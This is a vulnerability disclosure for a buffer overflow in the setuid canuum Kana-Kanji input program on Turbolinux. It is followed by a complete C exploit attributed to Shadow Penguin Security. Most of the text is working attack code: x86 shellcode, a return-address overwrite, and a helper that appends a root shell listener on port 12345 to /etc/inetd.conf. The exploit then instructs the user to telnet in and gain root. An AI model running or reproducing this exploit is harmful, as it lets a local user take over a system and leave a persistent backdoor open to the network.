I found the security vulnerability in canumm Japanese Kana-Kanji FEP. This program is installed on Turbolinux series with default. /usr/jp/canna/bin/canuum is a suid program. It overflows if the long argment is specified with many kind of options such as -k, -c, -n. I coded an exploit for the Linux, the local user can obtain a root privilege.
541df7e6ab602ad5a839835c476c08199b3ad305b9c2ab1b0611a680b6196c18
/*=============================================================================
canuum Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#define RETADR 1676
#define MAXBUF 2000
#define JMP_OFS 0x200
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main()
{
char buf[MAXBUF+1];
unsigned int i,ip,sp;
sprintf(buf,"%s.c",SHELL);
if ((fp=fopen(buf,"w"))==NULL){
printf("Can not write to %s\n",buf);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);");
fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
fclose(fp);
sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(buf);
memset(buf,'a',MAXBUF);
buf[MAXBUF]=0;
strcat(exec,SHELL);
memcpy(buf+300,exec,strlen(exec));
sp=get_sp();
ip=sp+JMP_OFS;
printf("Jumping address = %x\n\n\n",ip);
printf("Please execute following command after \"Segmentation Fault\"\n");
printf("\ntelnet localhost 12345\n\n\n");
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
}